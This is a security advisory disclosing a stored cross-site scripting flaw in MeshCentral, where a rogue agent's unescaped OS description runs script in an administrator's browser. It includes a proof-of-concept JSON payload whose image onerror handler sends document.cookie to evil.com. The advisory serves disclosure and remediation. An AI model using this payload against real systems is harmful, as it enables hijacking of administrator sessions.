GHSA-c7hr-448w-65px: Input Validation
Description
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')
Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" }
Payload fires when any admin views the device details panel. No click required.
<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/meshcentralto a version that resolves this vulnerability.Fixed in 1.1.60
Event History
Frequently Asked Questions
Which users are most directly exposed to exploitation?
Administrators who open the device details panel for a device represented by a rogue or compromised MeshAgent are exposed. The injected content executes in the administrator's browser session, where it can affect confidentiality, integrity, and availability.
What access or interaction is required for exploitation?
An attacker needs control of, or the ability to impersonate, a MeshAgent sufficiently to send a coreinfo message containing a malicious OS description value. Exploitation is triggered when an administrator views that device's details.
What can be done to reduce exposure if remediation cannot be applied immediately?
The management UI CSP permits unsafe inline content, allowing inline event handlers and script execution when the malicious value is rendered. Until remediation is applied, administrators should avoid opening device details for agents that are not trusted or may be compromised.